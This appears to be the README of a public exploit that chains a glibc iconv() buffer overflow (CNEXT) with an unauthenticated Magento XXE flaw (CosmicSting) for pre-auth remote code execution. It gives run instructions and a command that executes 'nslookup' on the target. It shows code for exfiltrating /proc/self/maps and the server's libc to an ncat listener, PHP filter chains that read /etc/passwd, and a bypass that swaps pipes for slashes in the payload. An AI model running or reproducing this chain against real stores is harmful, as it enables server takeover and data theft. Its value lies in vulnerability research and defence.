Exploit for chaining CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv() and CosmicSting (CVE-2024-34102) an unauthenticated XXE vulnerability in Adobe Commerce and Magento in order to achieve a Pre-Auth RCE, by @luk4c5, @nospher3x2 and @pedr4uz. Credits to @cfreal_ for he's amazing glibc iconv() vuln research and exploit, and to @spacewasp for he's awesome Magento vulnerability research.
First download ncat and change HOST to your IP.
python3 cnext-exploit.py https://magento.test 'nslookup oast.me' -s 5
The CNEXT and CosmicSting vulnerabilities are described in the following blogposts
- Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1): PHP filters
- How I Was Paid $9,000 for a Critical Vulnerability in Adobe Commerce (CVE-2024-34102): CosmicSting XXE
Some workarounds were demanded in order to make this chain possible.
We didn't explore this further to find the specific reason why but apparently you can't exfiltrate /proc/self/maps by the conventional way (using convert.base64-encode PHP filter), it will simply return empty, since it's 100% necessary for the exploit to work we needed to discover a versatile way to read it that would work in most targets. We managed to do that by combining zlib.deflate and convert.base64-encode PHP filters:
php://filter/zlib.deflate/convert.base64-encode/resource={path}
and later decoding and inflating the extracted output using inflate.64 python lib.
def decompress_inflate(self, data: str) -> bytes:
decoded_base64 = self.decompress_base64(data)
decompressor = inflate64.Inflater()
extracted = decompressor.inflate(decoded_base64)
return extracted
When trying to exfiltrate the target's libc we immediately ran into a problem: the socket server we're couldn't receive the entire base64 string. We "fixed" that by using ncat as a very simple HTTP server that receives the entire base64 string and writes it to a file that is later used by the exploit.
def create_nc_server(self, libc: bool = False) -> None:
if not os.path.exists("nc"):
os.mkdir("nc")
if libc:
os.system(f"timeout 20 nc -lnvp {self.nc_server_port} > nc/{self.folder_hash}.response")
else:
os.system(f"echo 'HTTP/2.0 200 OK\\r\\ncontent-type: text/plain\\r\ncontent-length: 12\\r\\n\\r\\nHello, world' | timeout 20 nc -lnvp {self.nc_server_port} > nc/{self.folder_hash}.response")
With apparently all the pieces of the puzzle properly solved unfortunately there was still a tricky problem left, SimpleXMLElement throws an Invalid URI error when sending the final payload.
We investigated the issue and found that the pipe (|
) character was causing the issue, since the final PHP filter chain that exploits the glibc's iconv() bufferoverflow chains the filters together using many pipes we needed to find a workaround.
filters = "|".join(filters)
Charles blogpost provides an filter chain example that prepends data to /etc/passwd.
<?php
echo file_get_contents("php://filter/convert.base64-encode|convert.iconv.855.UTF7|(...)");
root@research:~# php example.php | tail -n2;echo;
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
@C>==@C>==@C>==@C>==@C>==@
I replaced all the pipes with slashes using sed and checked to see if it would still work
root@research:~# sed 's/|/\//g' -i example.php; php example.php | tail -n2;echo;
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
@C>==@C>==@C>==@C>==@C>==@
The exploit works fine by replacing the pipes with slashes!
filters = "/".join(filters)
Exploits will become available as blogposts come out.
- CNEXT: file read to RCE exploit
- Roundcube: authenticated RCE exploit
- To be continued...